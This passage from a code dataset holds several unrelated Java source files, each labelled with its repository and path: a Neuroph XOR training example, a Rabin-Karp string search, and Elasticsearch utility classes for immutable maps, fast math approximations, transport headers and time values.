ConnectionFactory.fullConnect(ann.getLayerAt(2), ann.getLayerAt(3));
ConnectionFactory.fullConnect(ann.getLayerAt(0), ann.getLayerAt(ann.getLayersCount() - 1), false);
ann.setInputNeurons(inputLayer.getNeurons());
ann.setOutputNeurons(outputLayer.getNeurons());
ann.setNetworkType(NeuralNetworkType.MULTI_LAYER_PERCEPTRON);
return ann;
}
public static NeuralNetwork trainNeuralNetwork(NeuralNetwork ann) {
int inputSize = 2;
int outputSize = 1;
DataSet ds = new DataSet(inputSize, outputSize);
DataSetRow rOne = new DataSetRow(new double[] { 0, 1 }, new double[] { 1 });
ds.addRow(rOne);
DataSetRow rTwo = new DataSetRow(new double[] { 1, 1 }, new double[] { 0 });
ds.addRow(rTwo);
DataSetRow rThree = new DataSetRow(new double[] { 0, 0 }, new double[] { 0 });
ds.addRow(rThree);
DataSetRow rFour = new DataSetRow(new double[] { 1, 0 }, new double[] { 1 });
ds.addRow(rFour);
BackPropagation backPropagation = new BackPropagation();
backPropagation.setMaxIterations(1000);
ann.learn(ds, backPropagation);
return ann;
}
}
| eugenp/tutorials | libraries-ai/src/main/java/neuroph/NeurophXOR.java |
1,330 | package com.thealgorithms.others;
/**
* @author Prateek Kumar Oraon (https://github.com/prateekKrOraon)
*/
import java.util.Scanner;
// An implementation of Rabin-Karp string matching algorithm
// Program will simply end if there is no match
public final class RabinKarp {
private RabinKarp() {
}
public static Scanner SCANNER = null;
public static final int ALPHABET_SIZE = 256;
public static void main(String[] args) {
SCANNER = new Scanner(System.in);
System.out.println("Enter String");
String text = SCANNER.nextLine();
System.out.println("Enter pattern");
String pattern = SCANNER.nextLine();
int q = 101;
searchPat(text, pattern, q);
}
private static void searchPat(String text, String pattern, int q) {
int m = pattern.length();
int n = text.length();
int t = 0;
int p = 0;
int h = 1;
int j = 0;
int i = 0;
h = (int) Math.pow(ALPHABET_SIZE, m - 1) % q;
for (i = 0; i < m; i++) {
// hash value is calculated for each character and then added with the hash value of the
// next character for pattern as well as the text for length equal to the length of
// pattern
p = (ALPHABET_SIZE * p + pattern.charAt(i)) % q;
t = (ALPHABET_SIZE * t + text.charAt(i)) % q;
}
for (i = 0; i <= n - m; i++) {
// if the calculated hash value of the pattern and text matches then
// all the characters of the pattern is matched with the text of length equal to length
// of the pattern if all matches then pattern exist in string if not then the hash value
// of the first character of the text is subtracted and hash value of the next character
// after the end of the evaluated characters is added
if (p == t) {
// if hash value matches then the individual characters are matched
for (j = 0; j < m; j++) {
// if not matched then break out of the loop
if (text.charAt(i + j) != pattern.charAt(j)) {
break;
}
}
// if all characters are matched then pattern exist in the string
if (j == m) {
System.out.println("Pattern found at index " + i);
}
}
// if i<n-m then hash value of the first character of the text is subtracted and hash
// value of the next character after the end of the evaluated characters is added to get
// the hash value of the next window of characters in the text
if (i < n - m) {
t = (ALPHABET_SIZE * (t - text.charAt(i) * h) + text.charAt(i + m)) % q;
// if hash value becomes less than zero than q is added to make it positive
if (t < 0) {
t = (t + q);
}
}
}
}
}
| TheAlgorithms/Java | src/main/java/com/thealgorithms/others/RabinKarp.java |
1,331 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.common.util;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.NavigableMap;
import java.util.Objects;
import java.util.Set;
import java.util.TreeMap;
import java.util.concurrent.ConcurrentHashMap;
import java.util.function.Function;
import java.util.function.Supplier;
import java.util.stream.Collector;
import java.util.stream.Collectors;
public class Maps {
/**
* Adds an entry to an immutable map by copying the underlying map and adding the new entry. This method expects there is not already a
* mapping for the specified key in the map.
*
* @param map the immutable map to concatenate the entry to
* @param key the key of the new entry
* @param value the value of the entry
* @param <K> the type of the keys in the map
* @param <V> the type of the values in the map
* @return an immutable map that contains the items from the specified map and the concatenated entry
*/
@SuppressWarnings("unchecked")
public static <K, V> Map<K, V> copyMapWithAddedEntry(final Map<K, V> map, final K key, final V value) {
assert assertIsImmutableMapAndNonNullKey(map, key, value);
assert value != null;
assert map.containsKey(key) == false : "expected entry [" + key + "] to not already be present in map";
@SuppressWarnings("rawtypes")
final Map.Entry<K, V>[] entries = new Map.Entry[map.size() + 1];
map.entrySet().toArray(entries);
entries[entries.length - 1] = Map.entry(key, value);
return Map.ofEntries(entries);
}
/**
* Adds a new entry to or replaces an existing entry in an immutable map by copying the underlying map and adding the new or replacing
* the existing entry.
*
* @param map the immutable map to add to or replace in
* @param key the key of the new entry
* @param value the value of the new entry
* @param <K> the type of the keys in the map
* @param <V> the type of the values in the map
* @return an immutable map that contains the items from the specified map and a mapping from the specified key to the specified value
*/
@SuppressWarnings("unchecked")
public static <K, V> Map<K, V> copyMapWithAddedOrReplacedEntry(final Map<K, V> map, final K key, final V value) {
final V existing = map.get(key);
if (existing == null) {
return copyMapWithAddedEntry(map, key, value);
}
assert assertIsImmutableMapAndNonNullKey(map, key, value);
assert value != null;
@SuppressWarnings("rawtypes")
final Map.Entry<K, V>[] entries = new Map.Entry[map.size()];
boolean replaced = false;
int i = 0;
for (Map.Entry<K, V> entry : map.entrySet()) {
if (replaced == false && entry.getKey().equals(key)) {
entry = Map.entry(entry.getKey(), value);
replaced = true;
}
entries[i++] = entry;
}
return Map.ofEntries(entries);
}
/**
* Remove the specified key from the provided immutable map by copying the underlying map and filtering out the specified
* key if that key exists.
*
* @param map the immutable map to remove the key from
* @param key the key to be removed
* @param <K> the type of the keys in the map
* @param <V> the type of the values in the map
* @return an immutable map that contains the items from the specified map with the provided key removed
*/
public static <K, V> Map<K, V> copyMapWithRemovedEntry(final Map<K, V> map, final K key) {
assert assertIsImmutableMapAndNonNullKey(map, key, map.get(key));
return map.entrySet()
.stream()
.filter(k -> key.equals(k.getKey()) == false)
.collect(Collectors.toUnmodifiableMap(Map.Entry::getKey, Map.Entry::getValue));
}
// map classes that are known to be immutable, used to speed up immutability check in #assertImmutableMap
private static final Set<Class<?>> IMMUTABLE_MAP_CLASSES = Set.of(
Collections.emptyMap().getClass(),
Collections.unmodifiableMap(new HashMap<>()).getClass(),
Map.of().getClass(),
Map.of("a", "b").getClass()
);
private static <K, V> boolean assertIsImmutableMapAndNonNullKey(final Map<K, V> map, final K key, final V value) {
assert key != null;
// check in the known immutable classes map first, most of the time we don't need to actually do the put and throw which is slow to
// the point of visibly slowing down internal cluster tests without this short-cut
if (IMMUTABLE_MAP_CLASSES.contains(map.getClass())) {
return true;
}
try {
map.put(key, value);
return false;
} catch (final UnsupportedOperationException ignored) {}
return true;
}
/**
* A convenience method to convert a collection of map entries to a map. The primary reason this method exists is to have a single
* source file with an unchecked suppression rather than scattered at the various call sites.
*
* @param entries the entries to convert to a map
* @param <K> the type of the keys
* @param <V> the type of the values
* @return an immutable map containing the specified entries
*/
public static <K, V> Map<K, V> ofEntries(final Collection<Map.Entry<K, V>> entries) {
@SuppressWarnings("unchecked")
final Map<K, V> map = Map.ofEntries(entries.toArray(Map.Entry[]::new));
return map;
}
/**
* Returns {@code true} if the two specified maps are equal to one another. Two maps are considered equal if both represent identical
* mappings where values are checked with Objects.deepEquals. The primary use case is to check if two maps with array values are equal.
*
* @param left one map to be tested for equality
* @param right the other map to be tested for equality
* @return {@code true} if the two maps are equal
*/
public static <K, V> boolean deepEquals(Map<K, V> left, Map<K, V> right) {
if (left == right) {
return true;
}
if (left == null || right == null || left.size() != right.size()) {
return false;
}
for (Map.Entry<K, V> e : left.entrySet()) {
if (right.containsKey(e.getKey()) == false) {
return false;
}
V v1 = e.getValue();
V v2 = right.get(e.getKey());
if (v1 instanceof Map && v2 instanceof Map) {
// if the values are both maps, then recursively compare them with Maps.deepEquals
@SuppressWarnings("unchecked")
Map<Object, Object> m1 = (Map<Object, Object>) v1;
@SuppressWarnings("unchecked")
Map<Object, Object> m2 = (Map<Object, Object>) v2;
if (Maps.deepEquals(m1, m2) == false) {
return false;
}
} else if (Objects.deepEquals(v1, v2) == false) {
return false;
}
}
return true;
}
/**
* Returns an array where all internal maps and optionally arrays are flattened into the root map.
*
* For example the map {"foo": {"bar": 1, "baz": [2, 3]}} will become {"foo.bar": 1, "foo.baz.0": 2, "foo.baz.1": 3}. Note that if
* maps contains keys with "." or numbers it is possible that such keys will be silently overridden. For example the map
* {"foo": {"bar": 1}, "foo.bar": 2} will become {"foo.bar": 1} or {"foo.bar": 2}.
*
* @param map - input to be flattened
* @param flattenArrays - if false, arrays will be ignored
* @param ordered - if true the resulted map will be sorted
* @return
*/
public static Map<String, Object> flatten(Map<String, Object> map, boolean flattenArrays, boolean ordered) {
return flatten(map, flattenArrays, ordered, null);
}
@SuppressWarnings("unchecked")
private static Map<String, Object> flatten(Map<String, Object> map, boolean flattenArrays, boolean ordered, String parentPath) {
Map<String, Object> flatMap = ordered ? new TreeMap<>() : new HashMap<>();
String prefix = parentPath != null ? parentPath + "." : "";
for (Map.Entry<String, Object> entry : map.entrySet()) {
if (entry.getValue() instanceof Map) {
flatMap.putAll(flatten((Map<String, Object>) entry.getValue(), flattenArrays, ordered, prefix + entry.getKey()));
} else if (flattenArrays && entry.getValue() instanceof List) {
flatMap.putAll(flatten((List<Object>) entry.getValue(), ordered, prefix + entry.getKey()));
} else {
flatMap.put(prefix + entry.getKey(), entry.getValue());
}
}
return flatMap;
}
@SuppressWarnings("unchecked")
private static Map<String, Object> flatten(List<Object> list, boolean ordered, String parentPath) {
Map<String, Object> flatMap = ordered ? new TreeMap<>() : new HashMap<>();
String prefix = parentPath != null ? parentPath + "." : "";
for (int i = 0; i < list.size(); i++) {
Object cur = list.get(i);
if (cur instanceof Map) {
flatMap.putAll(flatten((Map<String, Object>) cur, true, ordered, prefix + i));
} else if (cur instanceof List) {
flatMap.putAll(flatten((List<Object>) cur, ordered, prefix + i));
} else {
flatMap.put(prefix + i, cur);
}
}
return flatMap;
}
/**
* Returns a {@link Collector} that accumulates the input elements into a sorted map and finishes the resulting set into an
* unmodifiable sorted map. The resulting read-only view through the unmodifiable sorted map is a sorted map.
*
* @param <T> the type of the input elements
* @return an unmodifiable {@link NavigableMap} where the underlying map is sorted
*/
public static <T, K, V> Collector<T, ?, NavigableMap<K, V>> toUnmodifiableSortedMap(
Function<T, ? extends K> keyMapper,
Function<T, ? extends V> valueMapper
) {
return Collectors.collectingAndThen(Collectors.toMap(keyMapper, valueMapper, (v1, v2) -> {
throw new IllegalStateException("Duplicate key (attempted merging values " + v1 + " and " + v2 + ")");
}, () -> new TreeMap<K, V>()), Collections::unmodifiableNavigableMap);
}
/**
* Returns a {@link Collector} that accumulates the input elements into a linked hash map and finishes the resulting set into an
* unmodifiable map. The resulting read-only view through the unmodifiable map is a linked hash map.
*
* @param <T> the type of the input elements
* @return an unmodifiable {@link Map} where the underlying map has a consistent order
*/
public static <T, K, V> Collector<T, ?, Map<K, V>> toUnmodifiableOrderedMap(
Function<T, ? extends K> keyMapper,
Function<T, ? extends V> valueMapper
) {
return Collectors.collectingAndThen(Collectors.toMap(keyMapper, valueMapper, (v1, v2) -> {
throw new IllegalStateException("Duplicate key (attempted merging values " + v1 + " and " + v2 + ")");
}, (Supplier<LinkedHashMap<K, V>>) LinkedHashMap::new), Collections::unmodifiableMap);
}
/**
* Returns a map with a capacity sufficient to keep expectedSize elements without being resized.
*
* @param expectedSize the expected amount of elements in the map
* @param <K> the key type
* @param <V> the value type
* @return a new pre-sized {@link HashMap}
*/
public static <K, V> Map<K, V> newMapWithExpectedSize(int expectedSize) {
return newHashMapWithExpectedSize(expectedSize);
}
/**
* Returns a hash map with a capacity sufficient to keep expectedSize elements without being resized.
*
* @param expectedSize the expected amount of elements in the map
* @param <K> the key type
* @param <V> the value type
* @return a new pre-sized {@link HashMap}
*/
public static <K, V> Map<K, V> newHashMapWithExpectedSize(int expectedSize) {
return new HashMap<>(capacity(expectedSize));
}
/**
* Returns a concurrent hash map with a capacity sufficient to keep expectedSize elements without being resized.
*
* @param expectedSize the expected amount of elements in the map
* @param <K> the key type
* @param <V> the value type
* @return a new pre-sized {@link HashMap}
*/
public static <K, V> Map<K, V> newConcurrentHashMapWithExpectedSize(int expectedSize) {
return new ConcurrentHashMap<>(capacity(expectedSize));
}
/**
* Returns a linked hash map with a capacity sufficient to keep expectedSize elements without being resized.
*
* @param expectedSize the expected amount of elements in the map
* @param <K> the key type
* @param <V> the value type
* @return a new pre-sized {@link LinkedHashMap}
*/
public static <K, V> LinkedHashMap<K, V> newLinkedHashMapWithExpectedSize(int expectedSize) {
return new LinkedHashMap<>(capacity(expectedSize));
}
static int capacity(int expectedSize) {
assert expectedSize >= 0;
return expectedSize < 2 ? expectedSize + 1 : (int) (expectedSize / 0.75 + 1.0);
}
/**
* This method creates a copy of the {@code source} map using {@code copyValueFunction} to create a defensive copy of each value.
*/
public static <K, V> Map<K, V> copyOf(Map<K, V> source, Function<V, V> copyValueFunction) {
return transformValues(source, copyValueFunction);
}
/**
* Copy a map and transform it values using supplied function
*/
public static <K, V1, V2> Map<K, V2> transformValues(Map<K, V1> source, Function<V1, V2> copyValueFunction) {
var copy = Maps.<K, V2>newHashMapWithExpectedSize(source.size());
for (var entry : source.entrySet()) {
copy.put(entry.getKey(), copyValueFunction.apply(entry.getValue()));
}
return copy;
}
/**
* An immutable implementation of {@link Map.Entry}.
* Unlike {@code Map.entry(...)} this implementation permits null key and value.
*/
public record ImmutableEntry<KType, VType>(KType key, VType value) implements Map.Entry<KType, VType> {
@Override
public KType getKey() {
return key;
}
@Override
public VType getValue() {
return value;
}
@Override
public VType setValue(VType value) {
throw new UnsupportedOperationException();
}
@Override
@SuppressWarnings("rawtypes")
public boolean equals(Object o) {
if (this == o) return true;
if ((o instanceof Map.Entry) == false) return false;
Map.Entry that = (Map.Entry) o;
return Objects.equals(key, that.getKey()) && Objects.equals(value, that.getValue());
}
@Override
public int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/common/util/Maps.java |
1,332 | /*
* @notice
* Copyright 2012 Jeff Hain
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* =============================================================================
* Notice of fdlibm package this program is partially derived from:
*
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunSoft, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* =============================================================================
*
* This code sourced from:
* https://github.com/yannrichet/jmathplot/blob/f25426e0ab0e68647ad2b75f577c7be050ecac86/src/main/java/org/math/plot/utils/FastMath.java
*/
package org.elasticsearch.core;
/**
* Additions or modifications to this class should only come from the original org.math.plot.utils.FastMath source
*/
final class FastMath {
private FastMath() {}
// --------------------------------------------------------------------------
// RE-USABLE CONSTANTS
// --------------------------------------------------------------------------
private static final double ONE_DIV_F2 = 1 / 2.0;
private static final double ONE_DIV_F3 = 1 / 6.0;
private static final double ONE_DIV_F4 = 1 / 24.0;
private static final double TWO_POW_N28 = Double.longBitsToDouble(0x3E30000000000000L);
private static final double TWO_POW_66 = Double.longBitsToDouble(0x4410000000000000L);
private static final double LOG_DOUBLE_MAX_VALUE = StrictMath.log(Double.MAX_VALUE);
// First double value (from zero) such as (value+-1/value == value).
private static final double TWO_POW_27 = Double.longBitsToDouble(0x41A0000000000000L);
private static final double TWO_POW_52 = Double.longBitsToDouble(0x4330000000000000L);
// Smallest double normal value.
private static final double MIN_DOUBLE_NORMAL = Double.longBitsToDouble(0x0010000000000000L); // 2.2250738585072014E-308
private static final int MIN_DOUBLE_EXPONENT = -1074;
private static final int MAX_DOUBLE_EXPONENT = 1023;
private static final double LOG_2 = StrictMath.log(2.0);
// --------------------------------------------------------------------------
// CONSTANTS AND TABLES FOR ATAN
// --------------------------------------------------------------------------
// We use the formula atan(-x) = -atan(x)
// ---> we only have to compute atan(x) on [0,+infinity[.
// For values corresponding to angles not close to +-PI/2, we use look-up tables;
// for values corresponding to angles near +-PI/2, we use code derived from fdlibm.
// Supposed to be >= tan(67.7deg), as fdlibm code is supposed to work with values > 2.4375.
private static final double ATAN_MAX_VALUE_FOR_TABS = StrictMath.tan(Math.toRadians(74.0));
private static final int ATAN_TABS_SIZE = 1 << 12 + 1;
private static final double ATAN_DELTA = ATAN_MAX_VALUE_FOR_TABS / (ATAN_TABS_SIZE - 1);
private static final double ATAN_INDEXER = 1 / ATAN_DELTA;
private static final double[] atanTab = new double[ATAN_TABS_SIZE];
private static final double[] atanDer1DivF1Tab = new double[ATAN_TABS_SIZE];
private static final double[] atanDer2DivF2Tab = new double[ATAN_TABS_SIZE];
private static final double[] atanDer3DivF3Tab = new double[ATAN_TABS_SIZE];
private static final double[] atanDer4DivF4Tab = new double[ATAN_TABS_SIZE];
private static final double ATAN_HI3 = Double.longBitsToDouble(0x3ff921fb54442d18L); // 1.57079632679489655800e+00 atan(inf)hi
private static final double ATAN_LO3 = Double.longBitsToDouble(0x3c91a62633145c07L); // 6.12323399573676603587e-17 atan(inf)lo
private static final double ATAN_AT0 = Double.longBitsToDouble(0x3fd555555555550dL); // 3.33333333333329318027e-01
private static final double ATAN_AT1 = Double.longBitsToDouble(0xbfc999999998ebc4L); // -1.99999999998764832476e-01
private static final double ATAN_AT2 = Double.longBitsToDouble(0x3fc24924920083ffL); // 1.42857142725034663711e-01
private static final double ATAN_AT3 = Double.longBitsToDouble(0xbfbc71c6fe231671L); // -1.11111104054623557880e-01
private static final double ATAN_AT4 = Double.longBitsToDouble(0x3fb745cdc54c206eL); // 9.09088713343650656196e-02
private static final double ATAN_AT5 = Double.longBitsToDouble(0xbfb3b0f2af749a6dL); // -7.69187620504482999495e-02
private static final double ATAN_AT6 = Double.longBitsToDouble(0x3fb10d66a0d03d51L); // 6.66107313738753120669e-02
private static final double ATAN_AT7 = Double.longBitsToDouble(0xbfadde2d52defd9aL); // -5.83357013379057348645e-02
private static final double ATAN_AT8 = Double.longBitsToDouble(0x3fa97b4b24760debL); // 4.97687799461593236017e-02
private static final double ATAN_AT9 = Double.longBitsToDouble(0xbfa2b4442c6a6c2fL); // -3.65315727442169155270e-02
private static final double ATAN_AT10 = Double.longBitsToDouble(0x3f90ad3ae322da11L); // 1.62858201153657823623e-02
// --------------------------------------------------------------------------
// CONSTANTS AND TABLES FOR LOG AND LOG1P
// --------------------------------------------------------------------------
private static final int LOG_BITS = 12;
private static final int LOG_TAB_SIZE = (1 << LOG_BITS);
private static final double[] logXLogTab = new double[LOG_TAB_SIZE];
private static final double[] logXTab = new double[LOG_TAB_SIZE];
private static final double[] logXInvTab = new double[LOG_TAB_SIZE];
// --------------------------------------------------------------------------
// TABLE FOR POWERS OF TWO
// --------------------------------------------------------------------------
private static final double[] twoPowTab = new double[(MAX_DOUBLE_EXPONENT - MIN_DOUBLE_EXPONENT) + 1];
static {
// atan
for (int i = 0; i < ATAN_TABS_SIZE; i++) {
// x: in [0,ATAN_MAX_VALUE_FOR_TABS].
double x = i * ATAN_DELTA;
double onePlusXSqInv = 1.0 / (1 + x * x);
double onePlusXSqInv2 = onePlusXSqInv * onePlusXSqInv;
double onePlusXSqInv3 = onePlusXSqInv2 * onePlusXSqInv;
double onePlusXSqInv4 = onePlusXSqInv2 * onePlusXSqInv2;
atanTab[i] = StrictMath.atan(x);
atanDer1DivF1Tab[i] = onePlusXSqInv;
atanDer2DivF2Tab[i] = (-2 * x * onePlusXSqInv2) * ONE_DIV_F2;
atanDer3DivF3Tab[i] = ((-2 + 6 * x * x) * onePlusXSqInv3) * ONE_DIV_F3;
atanDer4DivF4Tab[i] = ((24 * x * (1 - x * x)) * onePlusXSqInv4) * ONE_DIV_F4;
}
// log
for (int i = 0; i < LOG_TAB_SIZE; i++) {
// Exact to use inverse of tab size, since it is a power of two.
double x = 1 + i * (1.0 / LOG_TAB_SIZE);
logXLogTab[i] = StrictMath.log(x);
logXTab[i] = x;
logXInvTab[i] = 1 / x;
}
// twoPow
for (int i = MIN_DOUBLE_EXPONENT; i <= MAX_DOUBLE_EXPONENT; i++) {
twoPowTab[i - MIN_DOUBLE_EXPONENT] = StrictMath.pow(2.0, i);
}
}
/**
* A faster and less accurate {@link Math#sinh}
*
* @param value A double value.
* @return Value hyperbolic sine.
*/
public static double sinh(double value) {
// sinh(x) = (exp(x)-exp(-x))/2
double h;
if (value < 0.0) {
value = -value;
h = -0.5;
} else {
h = 0.5;
}
if (value < 22.0) {
if (value < TWO_POW_N28) {
return (h < 0.0) ? -value : value;
} else {
double t = Math.expm1(value);
// Might be more accurate, if value < 1: return h*((t+t)-t*t/(t+1.0)).
return h * (t + t / (t + 1.0));
}
} else if (value < LOG_DOUBLE_MAX_VALUE) {
return h * Math.exp(value);
} else {
double t = Math.exp(value * 0.5);
return (h * t) * t;
}
}
/**
* A faster and less accurate {@link Math#atan}
*
* @param value A double value.
* @return Value arctangent, in radians, in [-PI/2,PI/2].
*/
public static double atan(double value) {
boolean negateResult;
if (value < 0.0) {
value = -value;
negateResult = true;
} else {
negateResult = false;
}
if (value == 1.0) {
// We want "exact" result for 1.0.
return negateResult ? -Math.PI / 4 : Math.PI / 4;
} else if (value <= ATAN_MAX_VALUE_FOR_TABS) {
int index = (int) (value * ATAN_INDEXER + 0.5);
double delta = value - index * ATAN_DELTA;
double result = atanTab[index] + delta * (atanDer1DivF1Tab[index] + delta * (atanDer2DivF2Tab[index] + delta
* (atanDer3DivF3Tab[index] + delta * atanDer4DivF4Tab[index])));
return negateResult ? -result : result;
} else { // value > ATAN_MAX_VALUE_FOR_TABS, or value is NaN
// This part is derived from fdlibm.
if (value < TWO_POW_66) {
double x = -1 / value;
double x2 = x * x;
double x4 = x2 * x2;
double s1 = x2 * (ATAN_AT0 + x4 * (ATAN_AT2 + x4 * (ATAN_AT4 + x4 * (ATAN_AT6 + x4 * (ATAN_AT8 + x4 * ATAN_AT10)))));
double s2 = x4 * (ATAN_AT1 + x4 * (ATAN_AT3 + x4 * (ATAN_AT5 + x4 * (ATAN_AT7 + x4 * ATAN_AT9))));
double result = ATAN_HI3 - ((x * (s1 + s2) - ATAN_LO3) - x);
return negateResult ? -result : result;
} else { // value >= 2^66, or value is NaN
if (Double.isNaN(value)) {
return Double.NaN;
} else {
return negateResult ? -Math.PI / 2 : Math.PI / 2;
}
}
}
}
/**
* @param value A double value.
* @return Value logarithm (base e).
*/
public static double log(double value) {
if (value > 0.0) {
if (value == Double.POSITIVE_INFINITY) {
return Double.POSITIVE_INFINITY;
}
// For normal values not close to 1.0, we use the following formula:
// log(value)
// = log(2^exponent*1.mantissa)
// = log(2^exponent) + log(1.mantissa)
// = exponent * log(2) + log(1.mantissa)
// = exponent * log(2) + log(1.mantissaApprox) + log(1.mantissa/1.mantissaApprox)
// = exponent * log(2) + log(1.mantissaApprox) + log(1+epsilon)
// = exponent * log(2) + log(1.mantissaApprox) + epsilon-epsilon^2/2+epsilon^3/3-epsilon^4/4+...
// with:
// 1.mantissaApprox <= 1.mantissa,
// log(1.mantissaApprox) in table,
// epsilon = (1.mantissa/1.mantissaApprox)-1
//
// To avoid bad relative error for small results,
// values close to 1.0 are treated aside, with the formula:
// log(x) = z*(2+z^2*((2.0/3)+z^2*((2.0/5))+z^2*((2.0/7))+...)))
// with z=(x-1)/(x+1)
double h;
if (value > 0.95) {
if (value < 1.14) {
double z = (value - 1.0) / (value + 1.0);
double z2 = z * z;
return z * (2 + z2 * ((2.0 / 3) + z2 * ((2.0 / 5) + z2 * ((2.0 / 7) + z2 * ((2.0 / 9) + z2 * ((2.0 / 11)))))));
}
h = 0.0;
} else if (value < MIN_DOUBLE_NORMAL) {
// Ensuring value is normal.
value *= TWO_POW_52;
// log(x*2^52)
// = log(x)-ln(2^52)
// = log(x)-52*ln(2)
h = -52 * LOG_2;
} else {
h = 0.0;
}
int valueBitsHi = (int) (Double.doubleToRawLongBits(value) >> 32);
int valueExp = (valueBitsHi >> 20) - MAX_DOUBLE_EXPONENT;
// Getting the first LOG_BITS bits of the mantissa.
int xIndex = ((valueBitsHi << 12) >>> (32 - LOG_BITS));
// 1.mantissa/1.mantissaApprox - 1
double z = (value * twoPowTab[-valueExp - MIN_DOUBLE_EXPONENT]) * logXInvTab[xIndex] - 1;
z *= (1 - z * ((1.0 / 2) - z * ((1.0 / 3))));
return h + valueExp * LOG_2 + (logXLogTab[xIndex] + z);
} else if (value == 0.0) {
return Double.NEGATIVE_INFINITY;
} else { // value < 0.0, or value is NaN
return Double.NaN;
}
}
}
| elastic/elasticsearch | libs/core/src/main/java/org/elasticsearch/core/FastMath.java |
1,333 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.transport;
import org.elasticsearch.TransportVersion;
import org.elasticsearch.TransportVersions;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.util.concurrent.ThreadContext;
import org.elasticsearch.core.Tuple;
import java.io.IOException;
import java.util.Map;
import java.util.Set;
public class Header {
private static final String RESPONSE_NAME = "NO_ACTION_NAME_FOR_RESPONSES";
private final int networkMessageSize;
private final TransportVersion version;
private final long requestId;
private final byte status;
// These are directly set by tests
String actionName;
Tuple<Map<String, String>, Map<String, Set<String>>> headers;
private Compression.Scheme compressionScheme = null;
Header(int networkMessageSize, long requestId, byte status, TransportVersion version) {
this.networkMessageSize = networkMessageSize;
this.version = version;
this.requestId = requestId;
this.status = status;
}
public int getNetworkMessageSize() {
return networkMessageSize;
}
TransportVersion getVersion() {
return version;
}
long getRequestId() {
return requestId;
}
public boolean isRequest() {
return TransportStatus.isRequest(status);
}
boolean isResponse() {
return TransportStatus.isRequest(status) == false;
}
boolean isError() {
return TransportStatus.isError(status);
}
public boolean isHandshake() {
return TransportStatus.isHandshake(status);
}
boolean isCompressed() {
return TransportStatus.isCompress(status);
}
public String getActionName() {
return actionName;
}
public Compression.Scheme getCompressionScheme() {
return compressionScheme;
}
public Map<String, String> getRequestHeaders() {
var allHeaders = getHeaders();
return allHeaders == null ? null : allHeaders.v1();
}
boolean needsToReadVariableHeader() {
return headers == null;
}
Tuple<Map<String, String>, Map<String, Set<String>>> getHeaders() {
return headers;
}
void finishParsingHeader(StreamInput input) throws IOException {
this.headers = ThreadContext.readHeadersFromStream(input);
if (isRequest()) {
if (version.before(TransportVersions.V_8_0_0)) {
// discard features
input.readStringArray();
}
this.actionName = input.readString();
} else {
this.actionName = RESPONSE_NAME;
}
}
void setCompressionScheme(Compression.Scheme compressionScheme) {
assert isCompressed();
this.compressionScheme = compressionScheme;
}
@Override
public String toString() {
return "Header{"
+ networkMessageSize
+ "}{"
+ version
+ "}{"
+ requestId
+ "}{"
+ isRequest()
+ "}{"
+ isError()
+ "}{"
+ isHandshake()
+ "}{"
+ isCompressed()
+ "}{"
+ actionName
+ "}";
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/transport/Header.java |
1,334 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.core;
import java.util.Locale;
import java.util.Objects;
import java.util.concurrent.TimeUnit;
public class TimeValue implements Comparable<TimeValue> {
/** How many nano-seconds in one milli-second */
public static final long NSEC_PER_MSEC = TimeUnit.NANOSECONDS.convert(1, TimeUnit.MILLISECONDS);
public static final TimeValue MINUS_ONE = new TimeValue(-1, TimeUnit.MILLISECONDS);
public static final TimeValue ZERO = new TimeValue(0, TimeUnit.MILLISECONDS);
public static final TimeValue MAX_VALUE = new TimeValue(Long.MAX_VALUE, TimeUnit.NANOSECONDS);
public static final TimeValue THIRTY_SECONDS = new TimeValue(30, TimeUnit.SECONDS);
public static final TimeValue ONE_MINUTE = new TimeValue(1, TimeUnit.MINUTES);
private static final long C0 = 1L;
private static final long C1 = C0 * 1000L;
private static final long C2 = C1 * 1000L;
private static final long C3 = C2 * 1000L;
private static final long C4 = C3 * 60L;
private static final long C5 = C4 * 60L;
private static final long C6 = C5 * 24L;
private final long duration;
private final TimeUnit timeUnit;
public TimeValue(long millis) {
this(millis, TimeUnit.MILLISECONDS);
}
public TimeValue(long duration, TimeUnit timeUnit) {
if (duration < -1) {
throw new IllegalArgumentException("duration cannot be negative, was given [" + duration + "]");
}
this.duration = duration;
this.timeUnit = timeUnit;
}
public static TimeValue timeValueNanos(long nanos) {
return new TimeValue(nanos, TimeUnit.NANOSECONDS);
}
public static TimeValue timeValueMillis(long millis) {
if (millis == 0) {
return ZERO;
}
if (millis == -1) {
return MINUS_ONE;
}
return new TimeValue(millis, TimeUnit.MILLISECONDS);
}
public static TimeValue timeValueSeconds(long seconds) {
if (seconds == 30) {
// common value, no need to allocate each time
return THIRTY_SECONDS;
}
return new TimeValue(seconds, TimeUnit.SECONDS);
}
public static TimeValue timeValueMinutes(long minutes) {
if (minutes == 1) {
// common value, no need to allocate each time
return ONE_MINUTE;
}
